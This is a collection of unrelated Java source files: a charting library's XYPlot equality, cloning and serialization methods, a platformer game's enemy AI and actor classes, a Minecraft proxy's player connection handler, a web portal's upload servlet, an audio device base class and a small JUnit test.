XYPlot that = (XYPlot) obj;
if (this.weight != that.weight) {
return false;
}
if (this.orientation != that.orientation) {
return false;
}
if (!this.domainAxes.equals(that.domainAxes)) {
return false;
}
if (!this.domainAxisLocations.equals(that.domainAxisLocations)) {
return false;
}
if (this.rangeCrosshairLockedOnData
!= that.rangeCrosshairLockedOnData) {
return false;
}
if (this.domainGridlinesVisible != that.domainGridlinesVisible) {
return false;
}
if (this.rangeGridlinesVisible != that.rangeGridlinesVisible) {
return false;
}
if (this.domainZeroBaselineVisible != that.domainZeroBaselineVisible) {
return false;
}
if (this.rangeZeroBaselineVisible != that.rangeZeroBaselineVisible) {
return false;
}
if (this.domainCrosshairVisible != that.domainCrosshairVisible) {
return false;
}
if (this.domainCrosshairValue != that.domainCrosshairValue) {
return false;
}
if (this.domainCrosshairLockedOnData
!= that.domainCrosshairLockedOnData) {
return false;
}
if (this.rangeCrosshairVisible != that.rangeCrosshairVisible) {
return false;
}
if (this.rangeCrosshairValue != that.rangeCrosshairValue) {
return false;
}
if (!ObjectUtilities.equal(this.axisOffset, that.axisOffset)) {
return false;
}
if (!ObjectUtilities.equal(this.renderers, that.renderers)) {
return false;
}
if (!ObjectUtilities.equal(this.rangeAxes, that.rangeAxes)) {
return false;
}
if (!this.rangeAxisLocations.equals(that.rangeAxisLocations)) {
return false;
}
if (!ObjectUtilities.equal(this.datasetToDomainAxisMap,
that.datasetToDomainAxisMap)) {
return false;
}
if (!ObjectUtilities.equal(this.datasetToRangeAxisMap,
that.datasetToRangeAxisMap)) {
return false;
}
if (!ObjectUtilities.equal(this.domainGridlineStroke,
that.domainGridlineStroke)) {
return false;
}
if (!PaintUtilities.equal(this.domainGridlinePaint,
that.domainGridlinePaint)) {
return false;
}
if (!ObjectUtilities.equal(this.rangeGridlineStroke,
that.rangeGridlineStroke)) {
return false;
}
if (!PaintUtilities.equal(this.rangeGridlinePaint,
that.rangeGridlinePaint)) {
return false;
}
if (!PaintUtilities.equal(this.domainZeroBaselinePaint,
that.domainZeroBaselinePaint)) {
return false;
}
if (!ObjectUtilities.equal(this.domainZeroBaselineStroke,
that.domainZeroBaselineStroke)) {
return false;
}
if (!PaintUtilities.equal(this.rangeZeroBaselinePaint,
that.rangeZeroBaselinePaint)) {
return false;
}
if (!ObjectUtilities.equal(this.rangeZeroBaselineStroke,
that.rangeZeroBaselineStroke)) {
return false;
}
if (!ObjectUtilities.equal(this.domainCrosshairStroke,
that.domainCrosshairStroke)) {
return false;
}
if (!PaintUtilities.equal(this.domainCrosshairPaint,
that.domainCrosshairPaint)) {
return false;
}
if (!ObjectUtilities.equal(this.rangeCrosshairStroke,
that.rangeCrosshairStroke)) {
return false;
}
if (!PaintUtilities.equal(this.rangeCrosshairPaint,
that.rangeCrosshairPaint)) {
return false;
}
if (!ObjectUtilities.equal(this.foregroundDomainMarkers,
that.foregroundDomainMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.backgroundDomainMarkers,
that.backgroundDomainMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.foregroundRangeMarkers,
that.foregroundRangeMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.backgroundRangeMarkers,
that.backgroundRangeMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.foregroundDomainMarkers,
that.foregroundDomainMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.backgroundDomainMarkers,
that.backgroundDomainMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.foregroundRangeMarkers,
that.foregroundRangeMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.backgroundRangeMarkers,
that.backgroundRangeMarkers)) {
return false;
}
if (!ObjectUtilities.equal(this.annotations, that.annotations)) {
return false;
}
if (!PaintUtilities.equal(this.domainTickBandPaint,
that.domainTickBandPaint)) {
return false;
}
if (!PaintUtilities.equal(this.rangeTickBandPaint,
that.rangeTickBandPaint)) {
return false;
}
if (!this.quadrantOrigin.equals(that.quadrantOrigin)) {
return false;
}
for (int i = 0; i < 4; i++) {
if (!PaintUtilities.equal(this.quadrantPaint[i],
that.quadrantPaint[i])) {
return false;
}
}
return super.equals(obj);
}
/**
* Returns a clone of the plot.
*
* @return A clone.
*
* @throws CloneNotSupportedException this can occur if some component of
* the plot cannot be cloned.
*/
public Object clone() throws CloneNotSupportedException {
XYPlot clone = (XYPlot) super.clone();
clone.domainAxes = (ObjectList) ObjectUtilities.clone(this.domainAxes);
for (int i = 0; i < this.domainAxes.size(); i++) {
ValueAxis axis = (ValueAxis) this.domainAxes.get(i);
if (axis != null) {
ValueAxis clonedAxis = (ValueAxis) axis.clone();
clone.domainAxes.set(i, clonedAxis);
clonedAxis.setPlot(clone);
clonedAxis.addChangeListener(clone);
}
}
clone.domainAxisLocations = (ObjectList)
this.domainAxisLocations.clone();
clone.rangeAxes = (ObjectList) ObjectUtilities.clone(this.rangeAxes);
for (int i = 0; i < this.rangeAxes.size(); i++) {
ValueAxis axis = (ValueAxis) this.rangeAxes.get(i);
if (axis != null) {
ValueAxis clonedAxis = (ValueAxis) axis.clone();
clone.rangeAxes.set(i, clonedAxis);
clonedAxis.setPlot(clone);
clonedAxis.addChangeListener(clone);
}
}
clone.rangeAxisLocations = (ObjectList) ObjectUtilities.clone(
this.rangeAxisLocations);
// the datasets are not cloned, but listeners need to be added...
clone.datasets = (ObjectList) ObjectUtilities.clone(this.datasets);
for (int i = 0; i < clone.datasets.size(); ++i) {
XYDataset d = getDataset(i);
if (d != null) {
d.addChangeListener(clone);
}
}
clone.datasetToDomainAxisMap = new TreeMap();
clone.datasetToDomainAxisMap.putAll(this.datasetToDomainAxisMap);
clone.datasetToRangeAxisMap = new TreeMap();
clone.datasetToRangeAxisMap.putAll(this.datasetToRangeAxisMap);
clone.renderers = (ObjectList) ObjectUtilities.clone(this.renderers);
for (int i = 0; i < this.renderers.size(); i++) {
XYItemRenderer renderer2 = (XYItemRenderer) this.renderers.get(i);
if (renderer2 instanceof PublicCloneable) {
PublicCloneable pc = (PublicCloneable) renderer2;
clone.renderers.set(i, pc.clone());
}
}
clone.foregroundDomainMarkers = (Map) ObjectUtilities.clone(
this.foregroundDomainMarkers);
clone.backgroundDomainMarkers = (Map) ObjectUtilities.clone(
this.backgroundDomainMarkers);
clone.foregroundRangeMarkers = (Map) ObjectUtilities.clone(
this.foregroundRangeMarkers);
clone.backgroundRangeMarkers = (Map) ObjectUtilities.clone(
this.backgroundRangeMarkers);
clone.annotations = (List) ObjectUtilities.deepClone(this.annotations);
if (this.fixedDomainAxisSpace != null) {
clone.fixedDomainAxisSpace = (AxisSpace) ObjectUtilities.clone(
this.fixedDomainAxisSpace);
}
if (this.fixedRangeAxisSpace != null) {
clone.fixedRangeAxisSpace = (AxisSpace) ObjectUtilities.clone(
this.fixedRangeAxisSpace);
}
clone.quadrantOrigin = (Point2D) ObjectUtilities.clone(
this.quadrantOrigin);
clone.quadrantPaint = (Paint[]) this.quadrantPaint.clone();
return clone;
}
/**
* Provides serialization support.
*
* @param stream the output stream.
*
* @throws IOException if there is an I/O error.
*/
private void writeObject(ObjectOutputStream stream) throws IOException {
stream.defaultWriteObject();
SerialUtilities.writeStroke(this.domainGridlineStroke, stream);
SerialUtilities.writePaint(this.domainGridlinePaint, stream);
SerialUtilities.writeStroke(this.rangeGridlineStroke, stream);
SerialUtilities.writePaint(this.rangeGridlinePaint, stream);
SerialUtilities.writeStroke(this.rangeZeroBaselineStroke, stream);
SerialUtilities.writePaint(this.rangeZeroBaselinePaint, stream);
SerialUtilities.writeStroke(this.domainCrosshairStroke, stream);
SerialUtilities.writePaint(this.domainCrosshairPaint, stream);
SerialUtilities.writeStroke(this.rangeCrosshairStroke, stream);
SerialUtilities.writePaint(this.rangeCrosshairPaint, stream);
SerialUtilities.writePaint(this.domainTickBandPaint, stream);
SerialUtilities.writePaint(this.rangeTickBandPaint, stream);
SerialUtilities.writePoint2D(this.quadrantOrigin, stream);
for (int i = 0; i < 4; i++) {
SerialUtilities.writePaint(this.quadrantPaint[i], stream);
}
SerialUtilities.writeStroke(this.domainZeroBaselineStroke, stream);
SerialUtilities.writePaint(this.domainZeroBaselinePaint, stream);
}
/**
* Provides serialization support.
*
* @param stream the input stream.
*
* @throws IOException if there is an I/O error.
* @throws ClassNotFoundException if there is a classpath problem.
*/
private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
this.domainGridlineStroke = SerialUtilities.readStroke(stream);
this.domainGridlinePaint = SerialUtilities.readPaint(stream);
this.rangeGridlineStroke = SerialUtilities.readStroke(stream);
this.rangeGridlinePaint = SerialUtilities.readPaint(stream);
this.rangeZeroBaselineStroke = SerialUtilities.readStroke(stream);
this.rangeZeroBaselinePaint = SerialUtilities.readPaint(stream);
this.domainCrosshairStroke = SerialUtilities.readStroke(stream);
this.domainCrosshairPaint = SerialUtilities.readPaint(stream);
this.rangeCrosshairStroke = SerialUtilities.readStroke(stream);
this.rangeCrosshairPaint = SerialUtilities.readPaint(stream);
this.domainTickBandPaint = SerialUtilities.readPaint(stream);
this.rangeTickBandPaint = SerialUtilities.readPaint(stream);
this.quadrantOrigin = SerialUtilities.readPoint2D(stream);
this.quadrantPaint = new Paint[4];
for (int i = 0; i < 4; i++) {
this.quadrantPaint[i] = SerialUtilities.readPaint(stream);
}
this.domainZeroBaselineStroke = SerialUtilities.readStroke(stream);
this.domainZeroBaselinePaint = SerialUtilities.readPaint(stream);
// register the plot as a listener with its axes, datasets, and
// renderers...
int domainAxisCount = this.domainAxes.size();
for (int i = 0; i < domainAxisCount; i++) {
Axis axis = (Axis) this.domainAxes.get(i);
if (axis != null) {
axis.setPlot(this);
axis.addChangeListener(this);
}
}
int rangeAxisCount = this.rangeAxes.size();
for (int i = 0; i < rangeAxisCount; i++) {
Axis axis = (Axis) this.rangeAxes.get(i);
if (axis != null) {
axis.setPlot(this);
axis.addChangeListener(this);
}
}
int datasetCount = this.datasets.size();
for (int i = 0; i < datasetCount; i++) {
Dataset dataset = (Dataset) this.datasets.get(i);
if (dataset != null) {
dataset.addChangeListener(this);
}
}
int rendererCount = this.renderers.size();
for (int i = 0; i < rendererCount; i++) {
XYItemRenderer renderer = (XYItemRenderer) this.renderers.get(i);
if (renderer != null) {
renderer.addChangeListener(this);
}
}
}
}
|
package revert.AI;
import java.util.HashSet;
import java.util.Set;
import com.kgp.util.Vector2;
import revert.Entities.Actor;
import revert.Entities.Enemy;
import revert.Entities.Player;
public class AgressiveAI implements EnemyAi
{
Enemy parent;
float agroTimer; //phase out of agro when once agro and now there are no more aggressors
float attackTimer; //staller to prevent constant attacks
float walkTimer; //staller to create a methodical walking pattern
float MOVE_TIME;
//keep track of all actors that are causing this AI to be aggressive
Set<Actor> aggressors;
public AgressiveAI(Enemy e)
{
parent = e;
aggressors = new HashSet<Actor>();
}
/**
* Rolls to attack and sits
*/
@Override
public void attack(Actor a)
{
int i = (int)Math.random()*10;
if(i <= 5)
{
a.takeHit();
}
parent.stop();
}
/**
* Chase player and attack
*/
@Override
public void inView(Actor a)
{
if (a instanceof Player)
{
//increase agro dependence if already agro
if (isAgro())
aggressors.add(a);
//go back to agro if the player steps within view
// while it's waiting to phase out of agro
else if (agroTimer > 0f)
aggressors.add(a);
}
}
/**
* Meanders randomly
*/
@Override
public void outOfView(Actor a)
{
//remove actor from list of aggressors if it is one
aggressors.remove(a);
//start transition phase to out of agro once all players have
// exited the view range of the enemy
if (!isAgro())
{
agroTimer = 3.0f;
}
}
/**
* Always Agressive so once play comes into view jump to inView
*/
@Override
public void aggress(Actor a)
{
float dist = (float)a.getPosn().distance(parent.getPosn());
//player within range of the enemy
//attack this enemy if the timer is up
if (attackTimer <= 0)
{
if (dist < this.attackRange()) {
attack(a);
attackTimer = attackRate();
}
}
}
/**
* @return true if agent is aggressive
*/
public boolean isAgro()
{
return aggressors.size() > 0 && agroTimer > 0;
}
/**
* Simple walking action
*/
public void walk()
{
int i = (int)Math.random()*10;
if( i <= 8)
{
int j = (int)Math.random();
if(j == 1)
{
parent.lookAt(Vector2.LEFT);
parent.moveLeft();
}
else
{
parent.lookAt(Vector2.RIGHT);
parent.moveRight();
}
walkTimer = MOVE_TIME;
}
else
{
parent.stop();
walkTimer = .5f;
}
}
@Override
public float viewRange() {
return 70;
}
/**
* Aggressive enemies become aggressive as soon as the player enters its view range
*/
@Override
public float aggressRange() {
return 70;
}
@Override
public float attackRate() {
return 2.0f;
}
@Override
public float attackRange() {
return 30;
}
@Override
public void hit()
{
}
/**
* Update timers
*/
public void update(float delta)
{
//as long as the ai is truly aggressive, try attacking
if (isAgro()) {
//decrease attack timer
if (attackTimer > 0)
attackTimer -= delta;
}
else
{
//wait for agro to go away once the timer is done
if (!isAgro() && agroTimer > 0)
agroTimer -= delta;
//decrease walk wait timer when not pure agro
if (walkTimer > 0)
walkTimer -= delta;
else
walk();
}
}
@Override
public void update(Actor a) {
if (a instanceof Player) {
//as long as it's in an aggressive phase, try aggressing
if (isAgro())
{
aggress(a);
//make sure this player is an aggressor even if they were just in the
// visible range before the enemy became agro
aggressors.add(a);
}
else {
//if the player is in the aggression range while visible,
// and the enemy was not previously agro, then make them
if (a.getPosn().distance(parent.getPosn()) < this.aggressRange())
{
aggressors.add(a);
}
}
}
if (a instanceof Enemy)
{
Enemy e = (Enemy)a;
//if another visible enemy is agro, then this enemy is agro
if (e.getAI().isAgro())
aggressors.add(e);
}
}
}
|
package net.md_5.bungee;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Queue;
import java.util.concurrent.ConcurrentLinkedQueue;
import lombok.Getter;
import lombok.Synchronized;
import net.md_5.bungee.api.ProxyServer;
import net.md_5.bungee.api.config.ServerInfo;
import net.md_5.bungee.api.connection.PendingConnection;
import net.md_5.bungee.api.connection.ProxiedPlayer;
import net.md_5.bungee.api.connection.Server;
import net.md_5.bungee.api.event.ChatEvent;
import net.md_5.bungee.api.event.PluginMessageEvent;
import net.md_5.bungee.api.event.ServerConnectEvent;
import net.md_5.bungee.packet.*;
public class UserConnection extends GenericConnection implements ProxiedPlayer
{
public final Packet2Handshake handshake;
public Queue<DefinedPacket> packetQueue = new ConcurrentLinkedQueue<>();
public List<byte[]> loginPackets = new ArrayList<>();
@Getter
private final PendingConnection pendingConnection;
@Getter
private ServerConnection server;
private UpstreamBridge upBridge;
private DownstreamBridge downBridge;
// reconnect stuff
private int clientEntityId;
private int serverEntityId;
private volatile boolean reconnecting;
// ping stuff
private int trackingPingId;
private long pingTime;
@Getter
private int ping;
private final Collection<String> groups = new HashSet<>();
private final Map<String, Boolean> permissions = new HashMap<>();
private final Object permMutex = new Object();
public UserConnection(Socket socket, PendingConnection pendingConnection, PacketInputStream in, OutputStream out, Packet2Handshake handshake, List<byte[]> loginPackets)
{
super(socket, in, out);
this.handshake = handshake;
this.pendingConnection = pendingConnection;
name = handshake.username;
displayName = handshake.username;
this.loginPackets = loginPackets;
Collection<String> g = ProxyServer.getInstance().getConfigurationAdapter().getGroups(name);
for (String s : g)
{
addGroups(s);
}
}
@Override
public void setDisplayName(String name)
{
ProxyServer.getInstance().getTabListHandler().onDisconnect(this);
displayName = name;
ProxyServer.getInstance().getTabListHandler().onConnect(this);
}
@Override
public void connect(ServerInfo target)
{
if (server == null)
{
// First join
BungeeCord.getInstance().connections.put(name, this);
ProxyServer.getInstance().getTabListHandler().onConnect(this);
}
ServerConnectEvent event = new ServerConnectEvent(this, target);
BungeeCord.getInstance().getPluginManager().callEvent(event);
target = event.getTarget(); // Update in case the event changed target
ProxyServer.getInstance().getTabListHandler().onServerChange(this);
try
{
reconnecting = true;
if (server != null)
{
out.write(new Packet9Respawn((byte) 1, (byte) 0, (byte) 0, (short) 256, "DEFAULT").getPacket());
out.write(new Packet9Respawn((byte) -1, (byte) 0, (byte) 0, (short) 256, "DEFAULT").getPacket());
}
ServerConnection newServer = ServerConnection.connect(this, target, handshake, true);
if (server == null)
{
// Once again, first connection
clientEntityId = newServer.loginPacket.entityId;
serverEntityId = newServer.loginPacket.entityId;
out.write(newServer.loginPacket.getPacket());
out.write(BungeeCord.getInstance().registerChannels().getPacket());
upBridge = new UpstreamBridge();
upBridge.start();
} else
{
try
{
downBridge.interrupt();
downBridge.join();
} catch (InterruptedException ie)
{
}
server.disconnect("Quitting");
server.getInfo().removePlayer(this);
Packet1Login login = newServer.loginPacket;
serverEntityId = login.entityId;
out.write(new Packet9Respawn(login.dimension, login.difficulty, login.gameMode, (short) 256, login.levelType).getPacket());
}
// Reconnect process has finished, lets get the player moving again
reconnecting = false;
// Add to new
target.addPlayer(this);
// Start the bridges and move on
server = newServer;
downBridge = new DownstreamBridge();
downBridge.start();
} catch (KickException ex)
{
destroySelf(ex.getMessage());
} catch (Exception ex)
{
ex.printStackTrace(); // TODO: Remove
destroySelf("Could not connect to server - " + ex.getClass().getSimpleName());
}
}
private void destroySelf(String reason)
{
ProxyServer.getInstance().getPlayers().remove(this);
disconnect(reason);
if (server != null)
{
server.getInfo().removePlayer(this);
server.disconnect("Quitting");
ProxyServer.getInstance().getReconnectHandler().setServer(this);
}
}
@Override
public void disconnect(String reason)
{
ProxyServer.getInstance().getTabListHandler().onDisconnect(this);
super.disconnect(reason);
}
@Override
public void sendMessage(String message)
{
packetQueue.add(new Packet3Chat(message));
}
@Override
public void sendData(String channel, byte[] data)
{
server.packetQueue.add(new PacketFAPluginMessage(channel, data));
}
@Override
public InetSocketAddress getAddress()
{
return (InetSocketAddress) socket.getRemoteSocketAddress();
}
@Override
@Synchronized("permMutex")
public Collection<String> getGroups()
{
return Collections.unmodifiableCollection(groups);
}
@Override
@Synchronized("permMutex")
public void addGroups(String... groups)
{
for (String group : groups)
{
this.groups.add(group);
for (String permission : ProxyServer.getInstance().getConfigurationAdapter().getPermissions(group))
{
setPermission(permission, true);
}
}
}
@Override
@Synchronized( "permMutex")
public void removeGroups(String... groups)
{
for (String group : groups)
{
this.groups.remove(group);
for (String permission : ProxyServer.getInstance().getConfigurationAdapter().getPermissions(group))
{
setPermission(permission, false);
}
}
}
@Override
@Synchronized("permMutex")
public boolean hasPermission(String permission)
{
Boolean val = permissions.get(permission);
return (val == null) ? false : val;
}
@Override
@Synchronized( "permMutex")
public void setPermission(String permission, boolean value)
{
permissions.put(permission, value);
}
private class UpstreamBridge extends Thread
{
public UpstreamBridge()
{
super("Upstream Bridge - " + name);
}
@Override
public void run()
{
while (!socket.isClosed())
{
try
{
byte[] packet = in.readPacket();
boolean sendPacket = true;
int id = Util.getId(packet);
switch (id)
{
case 0x00:
if (trackingPingId == new Packet0KeepAlive(packet).id)
{
int newPing = (int) (System.currentTimeMillis() - pingTime);
ProxyServer.getInstance().getTabListHandler().onPingChange(UserConnection.this, newPing);
ping = newPing;
}
break;
case 0x03:
Packet3Chat chat = new Packet3Chat(packet);
if (chat.message.startsWith("/"))
{
sendPacket = !ProxyServer.getInstance().getPluginManager().dispatchCommand(UserConnection.this, chat.message.substring(1));
} else
{
ChatEvent chatEvent = new ChatEvent(UserConnection.this, server, chat.message);
ProxyServer.getInstance().getPluginManager().callEvent(chatEvent);
sendPacket = !chatEvent.isCancelled();
}
break;
case 0xFA:
// Call the onPluginMessage event
PacketFAPluginMessage message = new PacketFAPluginMessage(packet);
// Might matter in the future
if (message.tag.equals("BungeeCord"))
{
continue;
}
PluginMessageEvent event = new PluginMessageEvent(UserConnection.this, server, message.tag, message.data);
ProxyServer.getInstance().getPluginManager().callEvent(event);
if (event.isCancelled())
{
continue;
}
break;
}
while (!server.packetQueue.isEmpty())
{
DefinedPacket p = server.packetQueue.poll();
if (p != null)
{
server.out.write(p.getPacket());
}
}
EntityMap.rewrite(packet, clientEntityId, serverEntityId);
if (sendPacket && !server.socket.isClosed())
{
server.out.write(packet);
}
} catch (IOException ex)
{
destroySelf("Reached end of stream");
} catch (Exception ex)
{
destroySelf(Util.exception(ex));
}
}
}
}
private class DownstreamBridge extends Thread
{
public DownstreamBridge()
{
super("Downstream Bridge - " + name);
}
@Override
public void run()
{
try
{
outer:
while (!reconnecting)
{
byte[] packet = server.in.readPacket();
int id = Util.getId(packet);
switch (id)
{
case 0x00:
trackingPingId = new Packet0KeepAlive(packet).id;
pingTime = System.currentTimeMillis();
break;
case 0x03:
Packet3Chat chat = new Packet3Chat(packet);
ChatEvent chatEvent = new ChatEvent(server, UserConnection.this, chat.message);
ProxyServer.getInstance().getPluginManager().callEvent(chatEvent);
if (chatEvent.isCancelled())
{
continue;
}
break;
case 0xC9:
PacketC9PlayerListItem playerList = new PacketC9PlayerListItem(packet);
if (!ProxyServer.getInstance().getTabListHandler().onListUpdate(UserConnection.this, playerList.username, playerList.online, playerList.ping))
{
continue;
}
break;
case 0xFA:
// Call the onPluginMessage event
PacketFAPluginMessage message = new PacketFAPluginMessage(packet);
DataInputStream in = new DataInputStream(new ByteArrayInputStream(message.data));
PluginMessageEvent event = new PluginMessageEvent(server, UserConnection.this, message.tag, message.data);
ProxyServer.getInstance().getPluginManager().callEvent(event);
if (event.isCancelled())
{
continue;
}
if (message.tag.equals("BungeeCord"))
{
switch (in.readUTF())
{
case "Disconnect":
break outer;
case "Forward":
String target = in.readUTF();
String channel = in.readUTF();
short len = in.readShort();
byte[] data = new byte[len];
in.readFully(data);
if (target.equals("ALL"))
{
for (String s : BungeeCord.getInstance().getServers().keySet())
{
Server server = BungeeCord.getInstance().getServer(s);
server.sendData(channel, data);
}
} else
{
Server server = BungeeCord.getInstance().getServer(target);
server.sendData(channel, data);
}
break;
case "Connect":
ServerInfo server = BungeeCord.getInstance().config.getServers().get(in.readUTF());
if (server != null)
{
connect(server);
break outer;
}
break;
case "IP":
ByteArrayOutputStream b = new ByteArrayOutputStream();
DataOutputStream out = new DataOutputStream(b);
out.writeUTF("IP");
out.writeUTF(name);
out.writeUTF(getAddress().getHostString());
out.writeInt(getAddress().getPort());
getServer().sendData("BungeeCord", b.toByteArray());
break;
}
continue;
}
}
while (!packetQueue.isEmpty())
{
DefinedPacket p = packetQueue.poll();
if (p != null)
{
out.write(p.getPacket());
}
}
EntityMap.rewrite(packet, serverEntityId, clientEntityId);
out.write(packet);
}
} catch (Exception ex)
{
destroySelf(Util.exception(ex));
}
}
}
}
|
package fr.paris.lutece.portal.web.upload;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import com.fasterxml.jackson.databind.ObjectMapper;
import fr.paris.lutece.portal.service.spring.SpringContextService;
import fr.paris.lutece.portal.service.util.AppLogService;
/**
* Handles asynchronous uploads.
*/
public class UploadServlet extends HttpServlet
{
private static final long serialVersionUID = 1L;
private static final String JSON_FILE_SIZE = "fileSize";
private static final String JSON_FILE_NAME = "fileName";
private static final String JSON_FILES = "files";
private static final String JSON_UTF8_CONTENT_TYPE = "application/json; charset=UTF-8";
private static final ObjectMapper objectMapper = new ObjectMapper( );
/**
* {@inheritDoc}
* @throws IOException
*/
@Override
protected void doPost( HttpServletRequest req, HttpServletResponse response ) throws IOException
{
MultipartHttpServletRequest request = (MultipartHttpServletRequest) req;
List<FileItem> listFileItems = new ArrayList<>( );
Map<String, Object> mapJson = new HashMap<>( );
List<Map<String, Object>> listJsonFileMap = new ArrayList<>( );
mapJson.put( JSON_FILES, listJsonFileMap );
for ( Entry<String, List<FileItem>> entry : ( request.getFileListMap( ) ).entrySet( ) )
{
for ( FileItem fileItem : entry.getValue( ) )
{
Map<String, Object> jsonFileMap = new HashMap<>( );
jsonFileMap.put( JSON_FILE_NAME, fileItem.getName( ) );
jsonFileMap.put( JSON_FILE_SIZE, fileItem.getSize( ) );
// add to existing array
listJsonFileMap.add( jsonFileMap );
listFileItems.add( fileItem );
}
}
IAsynchronousUploadHandler2 handler2 = getHandler2( request );
if ( handler2 != null )
{
handler2.process( request, response, mapJson, listFileItems );
}
else
{
AppLogService.error( "No handler found, removing temporary files" );
for ( FileItem fileItem : listFileItems )
{
fileItem.delete( );
}
}
String strResultJson = objectMapper.writeValueAsString( mapJson );
if ( AppLogService.isDebugEnabled( ) )
{
AppLogService.debug( "Aysnchronous upload : " + strResultJson );
}
response.setContentType( JSON_UTF8_CONTENT_TYPE );
response.getWriter( ).print( strResultJson );
}
/**
* Gets the handler implementing the new version IAsynchronousUploadHandler2
*
* @param request the request
* @return the handler found, <code>null</code> otherwise.
* @see IAsynchronousUploadHandler2#isInvoked(HttpServletRequest)
*/
private IAsynchronousUploadHandler2 getHandler2( HttpServletRequest request )
{
for ( IAsynchronousUploadHandler2 handler : SpringContextService
.getBeansOfType( IAsynchronousUploadHandler2.class ) )
{
if ( handler.isInvoked( request ) )
{
return handler;
}
}
return null;
}
}
|
package silence.devices;
import silence.AudioException;
/**
* The basic class for audio devices
* @author Fredrik Ehnbom
* @version $Id: AudioDevice.java,v 1.4 2000/05/07 09:27:07 quarn Exp $
*/
public abstract class AudioDevice {
/**
* Init the AudioDevice
* @param sound If we should play the sound or if we are in nosound mode
*/
public abstract void init(boolean sound) throws AudioException;
/**
* Start playing the file
* @param file The file to play
* @param loop Wheter to loop or not
*/
public abstract void play(String file, boolean loop) throws AudioException;
/**
* Stop playing the file
*/
public abstract void stop();
/**
* Pause the playing of the file
*/
public abstract void pause() throws AudioException;
/**
* This function is called when a sync event occurs
*/
public abstract void sync(int effect);
/**
* Sets the volume
* @param volume The new volume
*/
public abstract void setVolume(int volume);
/**
* Close and cleanup
*/
public abstract void close();
}
/*
* ChangeLog:
* $Log: AudioDevice.java,v $
* Revision 1.4 2000/05/07 09:27:07 quarn
* Added setVolume method, added javadoc tags\n is now an abstract class instead of an interface
*
* Revision 1.3 2000/04/30 13:17:51 quarn
* choose which file to play in the play method instead of init
*
* Revision 1.2 2000/04/29 10:33:52 quarn
* drats! Wrote instead of ...
*
* Revision 1.1.1.1 2000/04/29 10:21:19 quarn
* initial import
*
*
*/
|
package testSuite;
import main.Account;
import main.AuxiliaryTransaction;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class AuxiliaryTransactionTest {
/**
* A test auxillary transaction to test with
*/
private AuxiliaryTransaction AuxiliaryTransactionTest;
/**
* Set up the AuxiliaryTransaction transaction
*/
@Before
public void setUp() {
this.AuxiliaryTransactionTest = new AuxiliaryTransaction(AuxiliaryTransaction.CREATE, "test", 0.00, Account.ADMIN);
}
/**
* Test to see if the user who is involved in the transaction is accessible
*/
@Test
public void getUsername() {
Assert.assertEquals("test", this.AuxiliaryTransactionTest.getUsername());
}
/**
* Test to see if the amount of credit involved in the transaction is accessible
*/
@Test
public void getCredit() {
Assert.assertEquals(0.00, this.AuxiliaryTransactionTest.getCredit(), 0.01);
}
/**
* Tests to see if the account type involved in the transaction is accessible
*/
@Test
public void getAccountType() {
Assert.assertEquals(Account.ADMIN, this.AuxiliaryTransactionTest.getAccountType());
}
/**
* Tests to see if the entry type is valid
*/
@Test
public void getTransactionType() {
Assert.assertEquals(AuxiliaryTransaction.CREATE, this.AuxiliaryTransactionTest.getTransactionType());
}
}
|
package revert.Entities;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Observable;
import java.util.Observer;
import revert.MainScene.World;
import revert.MainScene.notifications.ActorsRemoved;
import com.kgp.core.AssetsManager;
import com.kgp.imaging.Sprite;
import com.kgp.util.Vector2;
/**
* Generic actor class for sprites that move within the world space and are animated with states
*
* @author nhydock
*/
public abstract class Actor extends Sprite implements Observer{
public static enum Direction
{
Left,
Right;
}
public static enum Movement
{
Still,
Left,
Right;
}
public static enum VertMovement
{
Grounded,
Rising,
Falling;
}
//states used for setting movement properties of the actor
protected Movement moving;
protected Direction facing;
//additional states
protected boolean isHit;
protected boolean isAttacking;
//timer for how long the actor is in a state of reacting to being hit
protected int hitTimer;
//speed at which the sprite moves within the world
protected float moveRate;
//list of names used to associate as a spritesheet for the character
protected String spritesheet;
/**
* Distance away that the actor can see another
*/
protected double viewRange;
//synchronization lock on actor updating
protected boolean actorLock = false;
//list of actors in range
protected HashMap<Actor, Boolean> visibility;
//all actors that this actor can interact with/watch
protected ArrayList<Actor> actors;
protected int hp;
protected World world;
public Actor(World w, String name, ArrayList<Actor> actors) {
super(0, 0, w.getWidth(), w.getHeight(), AssetsManager.Images, name);
this.world = w;
this.actors = actors;
this.visibility = new HashMap<Actor, Boolean>();
for (Actor a : this.actors)
{
this.visibility.put(a, false);
}
}
/**
* Get the image that the actor is suppose to switch to dependent on current states
*/
abstract protected String getNextImage();
/**
* Tells the sprite to start moving to the left
*/
final public void moveLeft()
{
this.velocity.x = -moveRate;
this.moving = Movement.Left;
this.setImage(getNextImage(), true);
}
/**
* Tells the sprite to start moving to the right
*/
final public void moveRight()
{
this.velocity.x = moveRate;
this.moving = Movement.Right;
this.setImage(getNextImage(), true);
}
/**
* Stops horizontal movement
*/
final public void stop()
{
this.velocity.x = 0;
this.moving = Movement.Still;
this.setImage(getNextImage(), true);
}
/**
* Make the actor look towards a point and face in that direction
* @param v
*/
public void lookAt(Vector2 v)
{
Vector2 dir = this.getPosn().to(v);
if (dir.x < position.x)
faceLeft();
else if (dir.x > position.x)
faceRight();
}
/**
* Turns the actor left
*/
final public void faceLeft()
{
this.facing = Direction.Left;
this.flipX = true;
}
/**
* Turns the actor right
*/
final public void faceRight()
{
this.facing = Direction.Right;
